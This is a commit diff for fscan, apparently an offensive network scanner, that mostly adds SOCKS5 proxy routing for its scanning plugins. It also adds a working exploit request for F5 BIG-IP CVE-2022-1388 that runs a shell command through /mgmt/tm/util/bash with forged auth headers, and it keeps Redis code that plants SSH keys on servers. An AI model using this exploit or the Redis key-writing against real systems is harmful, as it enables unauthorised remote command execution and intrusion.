update

poc: add f5 big-ip cve-2022-1388 poc

Plugins/CVE-2020-0796.go

@@ -3,7 +3,6 @@ package Plugins
 import (
 	"bytes"
 	"fmt"
-	"net"
 	"time"
 
 	"github.com/shadow1ng/fscan/common"
@@ -106,7 +105,7 @@ func SmbGhost(info *common.HostInfo) error {
 func SmbGhostScan(info *common.HostInfo) error {
 	ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
 	addr := fmt.Sprintf("%s:%v", info.Host, port)
-	conn, err := net.DialTimeout("tcp", addr, timeout)
+	conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
 	defer func() {
 		if conn != nil {
 			conn.Close()

Plugins/NetBIOS.go

@@ -75,7 +75,7 @@ func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
 		payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
 	}
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if conn != nil{
 			conn.Close()

Plugins/fcgiscan.go

@@ -8,7 +8,6 @@ import (
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"io"
-	"net"
 	"strconv"
 	"strings"
 	"sync"
@@ -184,7 +183,7 @@ type FCGIClient struct {
 }
 
 func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
-	conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
 	fcgi = &FCGIClient{
 		rwc:       conn,
 		keepAlive: false,

Plugins/findnet.go

@@ -5,7 +5,6 @@ import (
 	"encoding/hex"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
-	"net"
 	"strings"
 	"time"
 )
@@ -23,7 +22,7 @@ func Findnet(info *common.HostInfo) error {
 
 func FindnetScan(info *common.HostInfo) error {
 	realhost := fmt.Sprintf("%s:%v", info.Host, 135)
-	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()

Plugins/memcached.go

@@ -3,14 +3,13 @@ package Plugins
 import (
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
-	"net"
 	"strings"
 	"time"
 )
 
 func MemcachedScan(info *common.HostInfo) (err error) {
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if client != nil{
 			client.Close()

Plugins/mongodb.go

@@ -4,7 +4,6 @@ import (
 	"fmt"
 	_ "github.com/denisenkom/go-mssqldb"
 	"github.com/shadow1ng/fscan/common"
-	"net"
 	"strings"
 	"time"
 )
@@ -26,7 +25,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
 	senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()

Plugins/ms17010.go

@@ -6,7 +6,6 @@ import (
 	"errors"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
-	"net"
 	"strings"
 	"time"
 )
@@ -34,7 +33,7 @@ func MS17010(info *common.HostInfo) error {
 func MS17010Scan(info *common.HostInfo) error {
 	ip := info.Host
 	// connecting to a host in LAN if reachable should be very quick
-	conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()

Plugins/portscan.go

@@ -3,7 +3,6 @@ package Plugins
 import (
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
-	"net"
 	"sort"
 	"strconv"
 	"sync"
@@ -74,7 +73,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
 
 func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
 	host, port := addr.ip, addr.port
-	conn, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()

Plugins/rdp.go

@@ -14,7 +14,6 @@ import (
 	"github.com/tomatome/grdp/protocol/tpkt"
 	"github.com/tomatome/grdp/protocol/x224"
 	"log"
-	"net"
 	"os"
 	"strconv"
 	"strings"
@@ -127,7 +126,7 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
 }
 
 func (g *Client) Login(domain, user, pwd string, timeout int64) error {
-	conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()

Plugins/redis.go

@@ -47,7 +47,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
 func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()
@@ -87,7 +87,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	defer func() {
 		if conn != nil {
 			conn.Close()
@@ -164,10 +164,6 @@ func Expoilt(realhost string, conn net.Conn) error {
 		}
 	}
 	err = recoverdb(dbfilename, dir, conn)
-	//fmt.Println("dbfilename:")
-	//fmt.Println(dbfilename)
-	//fmt.Println("dir:")
-	//fmt.Println(dir)
 	return err
 }
 
@@ -191,19 +187,14 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 			return flag, text, err
 		}
 		if strings.Contains(text, "OK") {
-			var key string
-			if filename == "shadow" {
-				key = SshPub
-			} else {
-				key, err = Readfile(filename)
-				if err != nil {
-					text = fmt.Sprintf("Open %s error, %v", filename, err)
-					return flag, text, err
-				}
-				if len(key) == 0 {
-					text = fmt.Sprintf("the keyfile %s is empty", filename)
-					return flag, text, err
-				}
+			key, err := Readfile(filename)
+			if err != nil {
+				text = fmt.Sprintf("Open %s error, %v", filename, err)
+				return flag, text, err
+			}
+			if len(key) == 0 {
+				text = fmt.Sprintf("the keyfile %s is empty", filename)
+				return flag, text, err
 			}
 			_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
 			if err != nil {

Plugins/scanner.go

@@ -97,11 +97,11 @@ func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.W
 		common.Num += 1
 		Mutex.Unlock()
 		ScanFunc(PluginList, scantype, &info)
-		wg.Done()
 		Mutex.Lock()
 		common.End += 1
 		Mutex.Unlock()
 		<-ch
+		wg.Done()
 	}()
 	ch <- struct{}{}
 }

Plugins/webtitle.go

@@ -10,7 +10,6 @@ import (
 	"golang.org/x/text/encoding/simplifiedchinese"
 	"io"
 	"io/ioutil"
-	"net"
 	"net/http"
 	"net/url"
 	"regexp"
@@ -190,7 +189,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
 }
 
 func gettitle(body []byte) (title string) {
-	re := regexp.MustCompile("(?ims)<title>(.*)</title>")
+	re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
 	find := re.FindSubmatch(body)
 	if len(find) > 1 {
 		title = string(find[1])
@@ -218,13 +217,23 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
 		return
 	}
 
-	conn, err := tls.DialWithDialer(&net.Dialer{Timeout: time.Duration(Timeout) * time.Second}, "tcp", host, &tls.Config{InsecureSkipVerify: true})
+	socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
+	if err != nil {
+		return
+	}
+	conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true})
 	defer func() {
 		if conn != nil {
+			defer func() {
+				if err := recover(); err != nil {
+					common.LogError(err)
+				}
+			}()
 			conn.Close()
 		}
 	}()
-
+	conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
+	err = conn.Handshake()
 	if err == nil || strings.Contains(err.Error(), "handshake failure") {
 		protocol = "https"
 	}

README.md

@@ -129,6 +129,12 @@ go build -ldflags="-s -w " -trimpath
         指定Url文件扫描
   -wt int
         web访问超时时间 (default 5)
+  -pocpath string
+        指定poc路径
+  -usera string
+        在原有用户字典基础上,新增新用户
+  -pwda string
+        在原有密码字典基础上,增加新密码
 ```
 
 ## 运行截图

WebScan/lib/check.go

@@ -163,6 +163,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 	}
 
 	DealWithRule := func(rule Rules) (bool, error) {
+		Headers := cloneMap(rule.Headers)
 		var (
 			flag, ok bool
 		)
@@ -172,8 +173,11 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 				continue
 			}
 			value := fmt.Sprintf("%v", v1)
-			for k2, v2 := range rule.Headers {
-				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
+			for k2, v2 := range Headers {
+				if !strings.Contains(v2, "{{"+k1+"}}") {
+					continue
+				}
+				Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
 			}
 			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
 			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
@@ -190,10 +194,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 
 		newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
 		newRequest.Header = oReq.Header.Clone()
-		for k, v := range rule.Headers {
+		for k, v := range Headers {
 			newRequest.Header.Set(k, v)
 		}
-
 		resp, err := DoRequest(newRequest, rule.FollowRedirects)
 		if err != nil {
 			return false, err
@@ -243,7 +246,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 
 	if len(p.Rules) > 0 {
 		success = DealWithRules(p.Rules)
-	} else { // Groups
+	} else {
 		for name, rules := range p.Groups {
 			success = DealWithRules(rules)
 			if success {
@@ -594,6 +597,7 @@ func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{},
 							return false, err
 						}
 						if success == true {
+							common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2, var3))
 							break look3
 						}
 					}
@@ -716,7 +720,7 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) {
 		if strings.Contains(k, "payload") {
 			out, err := Evaluate(env, expression, variableMap)
 			if err != nil {
-				fmt.Println(err)
+				//fmt.Println(err)
 				variableMap[k] = expression
 			} else {
 				variableMap[k] = fmt.Sprintf("%v", out)

WebScan/lib/client.go

@@ -1,8 +1,11 @@
 package lib
 
 import (
+	"context"
 	"crypto/tls"
+	"errors"
 	"github.com/shadow1ng/fscan/common"
+	"golang.org/x/net/proxy"
 	"log"
 	"net"
 	"net/http"
@@ -27,6 +30,7 @@ func Inithttp(PocInfo common.PocInfo) {
 }
 
 func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
+	type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
 	dialer := &net.Dialer{
 		Timeout:   dialTimout,
 		KeepAlive: keepAlive,
@@ -36,13 +40,24 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
 		DialContext:         dialer.DialContext,
 		MaxConnsPerHost:     5,
 		MaxIdleConns:        0,
-		MaxIdleConnsPerHost: 2,
+		MaxIdleConnsPerHost: ThreadsNum * 2,
 		IdleConnTimeout:     keepAlive,
 		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
 		TLSHandshakeTimeout: 5 * time.Second,
 		DisableKeepAlives:   false,
 	}
-	if DownProxy != "" {
+
+	if common.Socks5Proxy != "" {
+		dialSocksProxy, err := common.Socks5Dailer(dialer)
+		if err != nil {
+			return err
+		}
+		if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
+			tr.DialContext = contextDialer.DialContext
+		} else {
+			return errors.New("Failed type assertion to DialContext")
+		}
+	}else if DownProxy != "" {
 		if DownProxy == "1" {
 			DownProxy = "http://127.0.0.1:8080"
 		} else if DownProxy == "2" {
@@ -50,6 +65,9 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
 		} else if !strings.Contains(DownProxy, "://") {
 			DownProxy = "http://127.0.0.1:" + DownProxy
 		}
+		if !strings.HasPrefix(DownProxy,"socks") && !strings.HasPrefix(DownProxy,"http") {
+			return errors.New("no support this proxy")
+		}
 		u, err := url.Parse(DownProxy)
 		if err != nil {
 			return err

WebScan/pocs/f5-cve-2022-1388.yml

@@ -0,0 +1,21 @@
+name: poc-yaml-f5-cve-2022-1388
+set:
+  r1: randomInt(800000000, 1000000000)
+  r2: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: /mgmt/tm/util/bash
+    headers:
+      Content-Type: application/json
+      Connection: keep-alive, x-F5-Auth-Token
+      X-F5-Auth-Token: a
+      Authorization: Basic YWRtaW46
+    body: >-
+      {"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"}
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+  author: jindaxia
+  links:
+    - https://support.f5.com/csp/article/K23605346

common/Parse.go

@@ -12,10 +12,10 @@ import (
 )
 
 func Parse(Info *HostInfo) {
-	ParseScantype(Info)
 	ParseUser(Info)
 	ParsePass(Info)
 	ParseInput(Info)
+	ParseScantype(Info)
 }
 
 func ParseUser(Info *HostInfo) {
@@ -119,6 +119,9 @@ func ParseInput(Info *HostInfo) {
 		os.Exit(0)
 	}
 
+	if BruteThread <= 0 {
+		BruteThread = 1
+	}
 	if TmpOutputfile != "" {
 		if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
 			Outputfile = getpath() + TmpOutputfile
@@ -161,33 +164,27 @@ func ParseScantype(Info *HostInfo) {
 	if !ok {
 		showmode()
 	}
-	if Info.Scantype != "all" {
-		if Info.Ports == DefaultPorts {
-			switch Info.Scantype {
-			case "rdp":
-				Info.Ports = "3389"
-			case "wmi":
-				Info.Ports = "135"
-			case "web":
-				Info.Ports = Webport
-			case "webonly":
-				Info.Ports = Webport
-			case "ms17010":
-				Info.Ports = "445"
-			case "cve20200796":
-				Info.Ports = "445"
-			case "smb2":
-				Info.Ports = "445"
-			case "portscan":
-				Info.Ports = DefaultPorts + "," + Webport
-			case "main":
-				Info.Ports = DefaultPorts
-			default:
-				port, _ := PORTList[Info.Scantype]
-				Info.Ports = strconv.Itoa(port)
-			}
-			fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
+	if Info.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
+		switch Info.Scantype {
+		case "rdp":
+			Info.Ports = "3389"
+		case "web":
+			Info.Ports = Webport
+		case "webonly":
+			Info.Ports = Webport
+		case "ms17010":
+			Info.Ports = "445"
+		case "cve20200796":
+			Info.Ports = "445"
+		case "portscan":
+			Info.Ports = DefaultPorts + "," + Webport
+		case "main":
+			Info.Ports = DefaultPorts
+		default:
+			port, _ := PORTList[Info.Scantype]
+			Info.Ports = strconv.Itoa(port)
 		}
+		fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
 	}
 }
 

common/ParseIP.go

@@ -86,9 +86,6 @@ func parseIP(ip string) []string {
 	//解析 /24 /16 /8 /xxx 等
 	case strings.Contains(ip, "/"):
 		return parseIP2(ip)
-	//192.168.1.1-192.168.1.100
-	case strings.Contains(ip, "-"):
-		return parseIP1(ip)
 	//可能是域名,用lookup获取ip
 	case reg.MatchString(ip):
 		//	_, err := net.LookupHost(ip)
@@ -96,6 +93,9 @@ func parseIP(ip string) []string {
 		//		return nil
 		//	}
 		return []string{ip}
+	//192.168.1.1-192.168.1.100
+	case strings.Contains(ip, "-"):
+		return parseIP1(ip)
 	//处理单个ip
 	default:
 		testIP := net.ParseIP(ip)

common/ParsePort.go

@@ -11,7 +11,10 @@ func ParsePort(ports string) (scanPorts []int) {
 	}
 	slices := strings.Split(ports, ",")
 	for _, port := range slices {
-		port = strings.Trim(port, " ")
+		port = strings.TrimSpace(port)
+		if port == "" {
+			continue
+		}
 		upper := port
 		if strings.Contains(port, "-") {
 			ranges := strings.Split(port, "-")
@@ -28,7 +31,6 @@ func ParsePort(ports string) (scanPorts []int) {
 				port = ranges[1]
 				upper = ranges[0]
 			}
-
 		}
 		start, _ := strconv.Atoi(port)
 		end, _ := strconv.Atoi(upper)

common/config.go

@@ -37,8 +37,6 @@ var PORTList = map[string]int{
 	"portscan":    0,
 	"icmp":        0,
 	"main":        0,
-	"smb2":        1000004,
-	"wmi":         1000005,
 }
 
 var Outputfile = getpath() + "result.txt"
@@ -108,4 +106,5 @@ var (
 	PassAdd       string
 	BruteThread   int
 	LiveTop       int
+	Socks5Proxy   string
 )

common/flag.go

@@ -22,8 +22,8 @@ func Flag(Info *HostInfo) {
 	flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
 	flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
 	flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
-	flag.StringVar(&UserAdd, "usera", "", "add port base DefaultUsers,-usera user")
-	flag.StringVar(&PassAdd, "pwda", "", "add port base DefaultPasses,-pwda password")
+	flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
+	flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
 	flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
 	flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
 	flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
@@ -39,7 +39,7 @@ func Flag(Info *HostInfo) {
 	flag.StringVar(&Userfile, "userf", "", "username file")
 	flag.StringVar(&Passfile, "pwdf", "", "password file")
 	flag.StringVar(&PortFile, "portf", "", "Port File")
-	flag.StringVar(&PocPath, "pocpath", "", "Port File")
+	flag.StringVar(&PocPath, "pocpath", "", "poc file path")
 	flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
 	flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
 	flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
@@ -55,6 +55,7 @@ func Flag(Info *HostInfo) {
 	flag.StringVar(&UrlFile, "uf", "", "urlfile")
 	flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
 	flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
+	flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
 	flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie")
 	flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout")
 	flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate")

common/proxy.go

@@ -0,0 +1,65 @@
+package common
+
+import (
+	"errors"
+	"golang.org/x/net/proxy"
+	"net"
+	"net/url"
+	"strings"
+	"time"
+)
+
+func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
+	d := &net.Dialer{Timeout: timeout}
+	return WrapperTCP(network, address, d)
+}
+
+func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
+	//get conn
+	var conn net.Conn
+	if Socks5Proxy == "" {
+		var err error
+		conn,err = forward.Dial(network, address)
+		if err != nil {
+			return nil, err
+		}
+	}else {
+		dailer, err := Socks5Dailer(forward)
+		if err != nil{
+			return nil, err
+		}
+		conn,err = dailer.Dial(network, address)
+		if err != nil {
+			return nil, err
+		}
+	}
+	return conn, nil
+
+}
+
+func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
+	u,err := url.Parse(Socks5Proxy)
+	if err != nil {
+		return nil, err
+	}
+	if strings.ToLower(u.Scheme) != "socks5" {
+		return nil, errors.New("Only support socks5")
+	}
+	address := u.Host
+	var auth proxy.Auth
+	var dailer proxy.Dialer
+	if u.User.String() != "" {
+		auth = proxy.Auth{}
+		auth.User = u.User.Username()
+		password,_ := u.User.Password()
+		auth.Password = password
+		dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
+	}else {
+		dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
+	}
+
+	if err != nil {
+		return nil, err
+	}
+	return dailer, nil
+}